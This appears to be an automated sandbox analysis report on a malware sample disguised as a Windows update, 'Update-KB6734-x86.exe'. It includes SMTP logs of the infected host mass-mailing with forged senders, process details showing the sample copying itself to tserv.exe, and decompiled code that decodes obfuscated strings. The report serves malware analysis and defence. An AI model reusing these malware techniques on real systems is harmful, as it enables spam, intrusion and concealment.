Jan 7, 2022 15:44:25.375020027 CET	49998	25	192.168.2.6	176.223.123.126	HELO ppp.ro
Jan 7, 2022 15:44:25.414156914 CET	25	49998	176.223.123.126	192.168.2.6	250 cloud308.mxserver.ro Hello ppp.ro [102.129.143.96]
Jan 7, 2022 15:44:25.414305925 CET	49998	25	192.168.2.6	176.223.123.126	MAIL FROM: <mancy.white@yahoo.com>
Jan 7, 2022 15:44:25.453557968 CET	25	49998	176.223.123.126	192.168.2.6	250 OK
Jan 7, 2022 15:44:25.453748941 CET	49998	25	192.168.2.6	176.223.123.126	RCPT TO: <reg@ppp.ro>
Jan 7, 2022 15:44:26.267683029 CET	25	49914	185.175.124.58	192.168.2.6	250 Accepted
Jan 7, 2022 15:44:26.663769007 CET	49914	25	192.168.2.6	185.175.124.58	DATA
Jan 7, 2022 15:44:26.706688881 CET	25	49914	185.175.124.58	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 7, 2022 15:44:27.740755081 CET	49914	25	192.168.2.6	185.175.124.58	. QUIT
Jan 7, 2022 15:44:27.789150000 CET	25	49914	185.175.124.58	192.168.2.6	250 OK id=1n5qTl-0007qx-N7
Jan 7, 2022 15:44:27.791115999 CET	25	49914	185.175.124.58	192.168.2.6	221 mxbck.leonet.it closing connection
Jan 7, 2022 15:44:30.311676979 CET	25	49934	176.223.123.126	192.168.2.6	550
Jan 7, 2022 15:44:30.313000917 CET	49934	25	192.168.2.6	176.223.123.126	QUIT
Jan 7, 2022 15:44:30.352952957 CET	25	49934	176.223.123.126	192.168.2.6	221 cloud308.mxserver.ro closing connection
Jan 7, 2022 15:44:31.074114084 CET	25	50080	195.3.96.71	192.168.2.6	220 smarthub85.res.a1.net ESMTP
Jan 7, 2022 15:44:31.074424028 CET	50080	25	192.168.2.6	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:44:31.099047899 CET	25	50080	195.3.96.71	192.168.2.6	250 smarthub85.res.a1.net
Jan 7, 2022 15:44:31.099282026 CET	50080	25	192.168.2.6	195.3.96.71	MAIL FROM: <claudia.white@hotmail.com>
Jan 7, 2022 15:44:31.115704060 CET	25	50085	195.3.96.71	192.168.2.6	220 smarthub86.res.a1.net ESMTP
Jan 7, 2022 15:44:31.115928888 CET	50085	25	192.168.2.6	195.3.96.71	HELO smx01.a1.net
Jan 7, 2022 15:44:31.119967937 CET	25	50080	195.3.96.71	192.168.2.6	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:44:31.120109081 CET	50080	25	192.168.2.6	195.3.96.71	QUIT
Jan 7, 2022 15:44:31.136553049 CET	25	50085	195.3.96.71	192.168.2.6	250 smarthub86.res.a1.net
Jan 7, 2022 15:44:31.136708021 CET	50085	25	192.168.2.6	195.3.96.71	MAIL FROM: <den.lewis@gmail.com>
Jan 7, 2022 15:44:31.157099009 CET	25	50085	195.3.96.71	192.168.2.6	553 sorry, mail from your location [102.129.143.96] is administratively denied (#5.7.1)
Jan 7, 2022 15:44:31.157716990 CET	50085	25	192.168.2.6	195.3.96.71	QUIT
Jan 7, 2022 15:44:31.178600073 CET	25	50085	195.3.96.71	192.168.2.6	221 smarthub86.res.a1.net Goodbye.
Jan 7, 2022 15:44:31.342113972 CET	25	50080	195.3.96.71	192.168.2.6	221 smarthub85.res.a1.net Goodbye.
Jan 7, 2022 15:44:32.983424902 CET	25	50083	91.136.8.41	192.168.2.6	220 mail53c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:44:30 +0000
Jan 7, 2022 15:44:32.983587027 CET	50083	25	192.168.2.6	91.136.8.41	HELO mx1c50.megamailservers.eu
Jan 7, 2022 15:44:33.029488087 CET	25	50083	91.136.8.41	192.168.2.6	250 mail53c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:44:33.029611111 CET	50083	25	192.168.2.6	91.136.8.41	MAIL FROM: <craig.gonzalez@care2.com>
Jan 7, 2022 15:44:33.130049944 CET	25	50083	91.136.8.41	192.168.2.6	250 2.1.0 <craig.gonzalez@care2.com>... Sender ok
Jan 7, 2022 15:44:33.130181074 CET	50083	25	192.168.2.6	91.136.8.41	RCPT TO: <web@telering.at>
Jan 7, 2022 15:44:33.185009956 CET	25	50083	91.136.8.41	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:44:33.185123920 CET	50083	25	192.168.2.6	91.136.8.41	QUIT
Jan 7, 2022 15:44:33.229809999 CET	25	50083	91.136.8.41	192.168.2.6	221 2.0.0 mail53c50.megamailservers.eu closing connection
Jan 7, 2022 15:44:35.284426928 CET	25	50098	91.136.8.46	192.168.2.6	220 mail282c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:44:33 +0000
Jan 7, 2022 15:44:35.284809113 CET	50098	25	192.168.2.6	91.136.8.46	HELO mx2c50.megamailservers.eu
Jan 7, 2022 15:44:35.328396082 CET	25	50098	91.136.8.46	192.168.2.6	250 mail282c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:44:35.328680992 CET	50098	25	192.168.2.6	91.136.8.46	MAIL FROM: <craig.gonzalez@care2.com>
Jan 7, 2022 15:44:35.400284052 CET	25	50098	91.136.8.46	192.168.2.6	250 2.1.0 <craig.gonzalez@care2.com>... Sender ok
Jan 7, 2022 15:44:35.400532007 CET	50098	25	192.168.2.6	91.136.8.46	RCPT TO: <web@telering.at>
Jan 7, 2022 15:44:35.449593067 CET	25	50098	91.136.8.46	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:44:35.449822903 CET	50098	25	192.168.2.6	91.136.8.46	QUIT
Jan 7, 2022 15:44:35.492413044 CET	25	50098	91.136.8.46	192.168.2.6	221 2.0.0 mail282c50.megamailservers.eu closing connection
Jan 7, 2022 15:44:37.966383934 CET	25	50101	91.136.8.47	192.168.2.6	220 mail15c50.megamailservers.eu ESMTP Sendmail 8.14.9/8.13.1; Fri, 7 Jan 2022 14:44:35 +0000
Jan 7, 2022 15:44:37.969963074 CET	50101	25	192.168.2.6	91.136.8.47	HELO mx3c50.megamailservers.eu
Jan 7, 2022 15:44:38.018094063 CET	25	50101	91.136.8.47	192.168.2.6	250 mail15c50.megamailservers.eu Hello [102.129.143.96], pleased to meet you
Jan 7, 2022 15:44:38.018364906 CET	50101	25	192.168.2.6	91.136.8.47	MAIL FROM: <craig.gonzalez@care2.com>
Jan 7, 2022 15:44:39.283037901 CET	25	50101	91.136.8.47	192.168.2.6	250 2.1.0 <craig.gonzalez@care2.com>... Sender ok
Jan 7, 2022 15:44:39.283179998 CET	50101	25	192.168.2.6	91.136.8.47	RCPT TO: <web@telering.at>
Jan 7, 2022 15:44:39.382064104 CET	25	50101	91.136.8.47	192.168.2.6	550 5.1.1 <web@telering.at>... User unknown
Jan 7, 2022 15:44:39.382252932 CET	50101	25	192.168.2.6	91.136.8.47	QUIT
Jan 7, 2022 15:44:39.423207045 CET	25	50101	91.136.8.47	192.168.2.6	221 2.0.0 mail15c50.megamailservers.eu closing connection
Jan 7, 2022 15:44:45.392407894 CET	25	49996	185.175.124.58	192.168.2.6	250 Accepted
Jan 7, 2022 15:44:45.415345907 CET	49996	25	192.168.2.6	185.175.124.58	DATA
Jan 7, 2022 15:44:45.464622021 CET	25	49996	185.175.124.58	192.168.2.6	354 Enter message, ending with "." on a line by itself
Jan 7, 2022 15:44:45.595882893 CET	25	49998	176.223.123.126	192.168.2.6	550
Jan 7, 2022 15:44:45.596144915 CET	49998	25	192.168.2.6	176.223.123.126	QUIT
Jan 7, 2022 15:44:45.636456966 CET	25	49998	176.223.123.126	192.168.2.6	221 cloud308.mxserver.ro closing connection
Jan 7, 2022 15:44:45.855815887 CET	49996	25	192.168.2.6	185.175.124.58	. QUIT
Jan 7, 2022 15:44:45.906631947 CET	25	49996	185.175.124.58	192.168.2.6	250 OK id=1n5qU4-0007rY-F5
Jan 7, 2022 15:44:45.908555031 CET	25	49996	185.175.124.58	192.168.2.6	221 mxbck.leonet.it closing connection

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Update-KB6734-x86.exe PID: 6132 Parent PID: 5088

General

Start time:	15:42:22
Start date:	07/01/2022
Path:	C:\Users\user\Desktop\Update-KB6734-x86.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Update-KB6734-x86.exe"
Imagebase:	0x400000
File size:	610477 bytes
MD5 hash:	5DCD10F99C967B68CF441863061EBA58
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: tserv.exe PID: 6684 Parent PID: 6132

General

Start time:	15:42:28
Start date:	07/01/2022
Path:	C:\Windows\tserv.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\tserv.exe s
Imagebase:	0x400000
File size:	610477 bytes
MD5 hash:	5DCD10F99C967B68CF441863061EBA58
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 93%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: tserv.exe PID: 7092 Parent PID: 3440

General

Start time:	15:42:48
Start date:	07/01/2022
Path:	C:\Windows\tserv.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\tserv.exe" s
Imagebase:	0x400000
File size:	610477 bytes
MD5 hash:	5DCD10F99C967B68CF441863061EBA58
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Update-KB6734-x86.exe PID: 6132 Parent PID: 5088 Update-KB6734-x86.exeCOMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	13.8%
Total number of Nodes:	1957
Total number of Limit Nodes:	49

Executed Functions

Function 00423260, Relevance: 56.0, APIs: 37, Instructions: 460
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0042329F
HeapAlloc.KERNEL32(00000000,00000008,00000014), ref: 004232B2
HeapAlloc.KERNEL32(00000000,00000008,00001000,00000000), ref: 004232DC
HeapFree.KERNEL32(00000000,00000000,?), ref: 004232EB

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$Alloc$FreeProcess
String ID:
API String ID: 4128259342-0
Opcode ID: 8f0c75df61baccf555039c07e55f9e7a4c47b3d129244f42066f45807613cd4b
Instruction ID: cabeeef3d48c1ccb1133837745078946395a36f2d94fb2f40b145150ed7ea3f1
Opcode Fuzzy Hash: 8f0c75df61baccf555039c07e55f9e7a4c47b3d129244f42066f45807613cd4b
Instruction Fuzzy Hash: 27F1BC70204354ABD310DF25DC41F6B7BE9EB89700F44492DF984DB290DBB9EA05CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041F660, Relevance: 33.4, APIs: 3, Strings: 16, Instructions: 125
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(00000000), ref: 0041F7B9
GetProcAddress.KERNEL32(00000000,00000043), ref: 0041F7CF
SetWindowsHookExA.USER32 ref: 0041F7FC

Strings

C, xrefs: 0041F6C0
P, xrefs: 0041F6CA
r, xrefs: 0041F6CF
S, xrefs: 0041F6FC
N, xrefs: 0041F710
;, xrefs: 0041F768
P, xrefs: 0041F6F2
', xrefs: 0041F763
A, xrefs: 0041F723
), xrefs: 0041F701
", xrefs: 0041F732
B, xrefs: 0041F6C5
h, xrefs: 0041F72D
c, xrefs: 0041F6D9
o, xrefs: 0041F6D4
E, xrefs: 0041F715

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressHookLibraryLoadProcWindows
String ID: "$'$)$;$A$B$C$E$N$P$P$S$c$h$o$r
API String ID: 2564493370-1035779198
Opcode ID: 00a429360f83fa20652cea882935d05cc92ee5958ea3b9dd59ca4227aa40c6aa
Instruction ID: d6bcc57e59aaaf67e7ff94e30ae49016207e17142ead068d2604868bf6eb43c5
Opcode Fuzzy Hash: 00a429360f83fa20652cea882935d05cc92ee5958ea3b9dd59ca4227aa40c6aa
Instruction Fuzzy Hash: D6514B2520C3C19AD311DB39984478BBFD15FA6318F484AADF0E9873D2D3A9C54AC76B

Uniqueness

Uniqueness Score: -1.00%

Function 0041F830, Relevance: 19.6, APIs: 13, Instructions: 59
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,?), ref: 0041F84E
HeapFree.KERNEL32(00000000), ref: 0041F851
GetProcessHeap.KERNEL32(00000000,?), ref: 0041F860
HeapFree.KERNEL32(00000000), ref: 0041F863
GetProcessHeap.KERNEL32(00000000,?), ref: 0041F872
HeapFree.KERNEL32(00000000), ref: 0041F875
FindCloseChangeNotification.KERNELBASE(?), ref: 0041F884
CloseHandle.KERNEL32(?), ref: 0041F88D
CloseHandle.KERNEL32(?), ref: 0041F896
CloseHandle.KERNEL32(?), ref: 0041F89F
CloseHandle.KERNEL32(?), ref: 0041F8A8
SetEvent.KERNEL32(?), ref: 0041F8BB
Sleep.KERNEL32(000003E8), ref: 0041F8C6

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$Close$Handle$FreeProcess$ChangeEventFindNotificationSleep
String ID:
API String ID: 1300641220-0
Opcode ID: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
Instruction ID: 76c645c424173bd840e30338d02661637eb24344bf89ff37b7fb3177c525ef51
Opcode Fuzzy Hash: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
Instruction Fuzzy Hash: 2D11BA71300704ABE620ABBADC84FEBF3ECAF98751F05492AE559C7250CA74F8418A64

Uniqueness

Uniqueness Score: -1.00%

Function 00425D91, Relevance: 12.1, APIs: 8, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(?,0042E598,00000060), ref: 00425DB1
GetModuleHandleA.KERNEL32(00000000,?,0042E598,00000060), ref: 00425E04
_fast_error_exit.LIBCMT ref: 00425E66
_fast_error_exit.LIBCMT ref: 00425E77
GetCommandLineA.KERNEL32(?,0042E598,00000060), ref: 00425E96
GetStartupInfoA.KERNEL32(?), ref: 00425EEA
__wincmdln.LIBCMT ref: 00425EF0
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00425F0D

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: HandleModule_fast_error_exit$CommandInfoLineStartupVersion__wincmdln
String ID:
API String ID: 3897392166-0
Opcode ID: 52411a5f5727b6baa2de8cc56f4c3c07eb486bf30bc450b3c7f1595807bf0bd3
Instruction ID: fff0b790c7a0d9b16c0474446a89fef60bd80b9f406c56c5ed212da1009f27c5
Opcode Fuzzy Hash: 52411a5f5727b6baa2de8cc56f4c3c07eb486bf30bc450b3c7f1595807bf0bd3
Instruction Fuzzy Hash: 8A41B470B40B30CBDB20AB76FC0566E76A0AF04714FA5443FF9149A291DB7D8942CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0042731A, Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_000272CC), ref: 0042731F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
Instruction ID: 91d239ce8c3ec9bc864000ee122172ece4c8541e5da3e4e88b6e0ad87dd54bef
Opcode Fuzzy Hash: c295cc2e9cb841625434bd69c2be57921d73015333ff570b30f8570a734b9d5d
Instruction Fuzzy Hash: 74A012743022008BD3149F306E0501039A09E002013411075E500C1230D7700004D519

Uniqueness

Uniqueness Score: -1.00%

Function 0042732E, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00427333

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
Instruction ID: 8169098ac00662e5d218563eb379ef12e921e05fa147c2ad6ec4e4497947ff53
Opcode Fuzzy Hash: 2ab6f6718f042291c8c0e3391e57a3836615d8269b254a55ffda52550e9e3c4b
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00420570, Relevance: 212.3, APIs: 14, Strings: 107, Instructions: 584
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00420570(void* __ebx, char __ecx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v33;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				char _v65;
				char _v66;
				char _v67;
				char _v68;
				char _v69;
				char _v70;
				char _v71;
				char _v72;
				char _v73;
				char _v74;
				char _v75;
				char _v76;
				char _v77;
				char _v78;
				char _v79;
				char _v80;
				char _v82;
				char _v83;
				char _v84;
				char _v85;
				char _v86;
				char _v87;
				char _v88;
				char _v89;
				char _v90;
				char _v91;
				char _v92;
				char _v93;
				char _v94;
				char _v95;
				char _v96;
				char _v97;
				char _v98;
				char _v99;
				char _v100;
				char _v101;
				char _v102;
				char _v103;
				char _v104;
				char _v105;
				char _v106;
				char _v107;
				char _v108;
				char _v109;
				char _v110;
				char _v111;
				char _v112;
				char _v113;
				char _v114;
				char _v115;
				char _v116;
				char _v117;
				char _v118;
				char _v119;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v125;
				char _v126;
				char _v127;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v133;
				char _v134;
				char _v135;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v165;
				char _v166;
				char _v167;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v173;
				char _v174;
				char _v175;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v205;
				char _v206;
				char _v207;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v253;
				char _v254;
				char _v255;
				char _v256;
				int _v260;
				int _v264;
				void* _v268;
				void* _v272;
				void* _v284;
				void* _v288;
				intOrPtr _t431;
				intOrPtr* _t434;
				char* _t438;
				void* _t443;
				signed int _t444;
				void* _t447;
				void* _t451;
				signed short _t452;
				long _t466;
				long _t471;
				long _t474;
				intOrPtr* _t475;
				signed short _t477;
				long _t490;
				signed int _t502;
				intOrPtr _t504;
				signed short _t508;
				intOrPtr* _t527;
				char _t528;
				signed short _t531;
				intOrPtr* _t539;
				intOrPtr* _t553;
				signed int _t554;
				intOrPtr* _t560;
				char* _t562;
				intOrPtr* _t569;
				signed int _t570;
				char* _t575;
				signed int _t576;
				void** _t578;

				_t578 =  &_v272;
				_t431 =  *0x4310d8; // 0xa9302559
				_v4 = _t431;
				_v256 = __ecx;
				_v151 = 0x2c;
				_v146 = 0x2c;
				_v125 = 0x2c;
				_push(__ebx);
				_v137 = 0x45;
				_v180 = 0x45;
				_push(__ebp);
				_v136 = 0xc5;
				_v179 = 0xc5;
				_t508 =  *0x431f38; // 0x2d2c
				_v166 = 0x40;
				_v155 = 0x40;
				_v152 = 0x54;
				_v150 = 0x7c;
				_v149 = 0xc;
				_v148 = 0x12;
				_v147 = 0x7c;
				_v145 = 0xe7;
				_v144 = 0x50;
				_v143 = 0x8d;
				_v142 = 0x53;
				_v141 = 0x29;
				_v140 = 0xa2;
				_v139 = 0xa8;
				_v138 = 0x4e;
				_v135 = 0x81;
				_v134 = 9;
				_v133 = 0xb3;
				_v132 = 0xdc;
				_v131 = 0x50;
				_v130 = 0x2a;
				_v129 = 0xc2;
				_v128 = 5;
				_v127 = 0x69;
				_v126 = 0x76;
				_v124 = 0x20;
				_v123 = 0x30;
				_v122 = 0x70;
				_v121 = 0x9e;
				_v184 = 0xff;
				_v183 = 0x23;
				_v182 = 0xca;
				_v181 = 0x48;
				_v178 = 0x26;
				_v177 = 0x5e;
				_v176 = 0xc;
				_v175 = 0xc6;
				_v174 = 0x26;
				_v173 = 0x44;
				_v172 = 0xbf;
				_v171 = 0xc6;
				_v170 = 0x26;
				_v169 = 0x20;
				_v168 = 0x9e;
				_v167 = 0xdb;
				_v165 = 0xbb;
				_v164 = 0x97;
				_v163 = 0x24;
				_v162 = 0x37;
				_v161 = 0xaa;
				_v160 = 0x67;
				_v159 = 0xfc;
				_v158 = 0xee;
				_v157 = 0x15;
				_v156 = 0x50;
				_v154 = 3;
				_v153 = 0x62;
				_t434 = 0;
				_push(__esi);
				do {
					 *((intOrPtr*)(_t578 + _t434 + 0x84)) =  *((intOrPtr*)(_t578 + _t434 + 0x84)) +  *((intOrPtr*)(_t578 + _t434 + 0x64));
					 *((intOrPtr*)(_t578 + _t434 + 0x85)) =  *((intOrPtr*)(_t578 + _t434 + 0x85)) +  *((intOrPtr*)(_t578 + _t434 + 0x65));
					 *((intOrPtr*)(_t578 + _t434 + 0x86)) =  *((intOrPtr*)(_t578 + _t434 + 0x86)) +  *((intOrPtr*)(_t578 + _t434 + 0x66));
					 *((intOrPtr*)(_t578 + _t434 + 0x87)) =  *((intOrPtr*)(_t578 + _t434 + 0x87)) +  *((intOrPtr*)(_t578 + _t434 + 0x67));
					_t434 = _t434 + 4;
					_t508 = _t508 + 0x1b4;
				} while (_t434 < 0x20);
				 *0x431f38 = _t508;
				_v184 = 0xdb;
				_v178 = 0xf2;
				_v176 = 0xf2;
				_v240 = 0xf2;
				_push(__edi);
				_v168 = 0xf8;
				_v247 = 0xf8;
				_v244 = 0x87;
				_v239 = 0x87;
				_v183 = 0x6b;
				_v182 = 0x8c;
				_v181 = 0xdf;
				_v180 = 0x11;
				_v179 = 0x4d;
				_v177 = 0x60;
				_v175 = 0xf6;
				_v174 = 0xfc;
				_v173 = 0x1a;
				_v172 = 0x4e;
				_v171 = 0x98;
				_v170 = 0x3f;
				_v169 = 0xc1;
				_v167 = 0xf4;
				_v252 = 0xbc;
				_v251 = 0xf5;
				_v250 = 0x9b;
				_v249 = 0xef;
				_v248 = 0x8a;
				_v246 = 0x96;
				_v245 = 0xf3;
				_v243 = 0xa7;
				_v242 = 0xf4;
				_v241 = 0x91;
				_v238 = 0xf5;
				_v237 = 0x9c;
				_v236 = 0xe8;
				_v235 = 0x91;
				_t438 = E0041E250(0x12,  &_v252,  &_v184);
				_v43 = 0xf3;
				_t562 = _t438;
				_v44 = 0xf4;
				_v42 = 0x36;
				_v41 = 0xbb;
				_v40 = 0x66;
				_v39 = 0x92;
				_v38 = 0x38;
				_v37 = 0x7e;
				_v36 = 0x9e;
				_v35 = 0xe6;
				_v34 = 0xcd;
				_v33 = 0x71;
				_v32 = 0x7a;
				_v31 = 0x5c;
				_v30 = 0x6d;
				_v29 = 0xbc;
				_v28 = 0x12;
				_v27 = 0xaa;
				_v26 = 0x36;
				_v25 = 0xfb;
				_v24 = 0x7e;
				_v23 = 0x11;
				_v22 = 6;
				_v21 = 0xf7;
				_v20 = 0x6a;
				_v19 = 0x36;
				_v18 = 0xac;
				_v17 = 0x31;
				_v16 = 0xcf;
				_v15 = 0x85;
				_v14 = 0xae;
				_v256 = 0xe;
				_v246 = 0xe;
				_v13 = 0x1d;
				_v12 = 0x85;
				_v11 = 0xc;
				_v10 = 0x64;
				_v9 = 0xd8;
				_v255 = 0x5d;
				_v254 = 0x12;
				_v253 = 0x54;
				_v252 = 0;
				_v251 = 0x57;
				_v250 = 0x16;
				_v249 = 0x44;
				_v248 = 1;
				_v247 = 0x5d;
				_v245 = 0x77;
				_v244 = 0x1a;
				_v243 = 0x7b;
				_v242 = 0x15;
				_v241 = 0x61;
				_v240 = 4;
				_v239 = 0x67;
				_v238 = 0x3b;
				_v237 = 0x72;
				_v236 = 0x1c;
				_v235 = 0x68;
				_v234 = 0xd;
				_v233 = 0x7f;
				_v232 = 0x11;
				_v231 = 0x74;
				_v230 = 0;
				_v229 = 0x20;
				_v228 = 0x73;
				_v227 = 0x16;
				_v226 = 0x75;
				_v225 = 0;
				_v224 = 0x72;
				_v223 = 0x1b;
				_v222 = 0x6f;
				_v221 = 0x16;
				_t575 = E0041E250(0x24,  &_v256,  &_v44);
				_v222 = 0xb1;
				_v218 = 0xb1;
				_v208 = 0xef;
				_v207 = 0x38;
				_v206 = 0xd8;
				_v205 = 0x57;
				_v204 = 0x1f;
				_v203 = 0x95;
				_v202 = 0xc6;
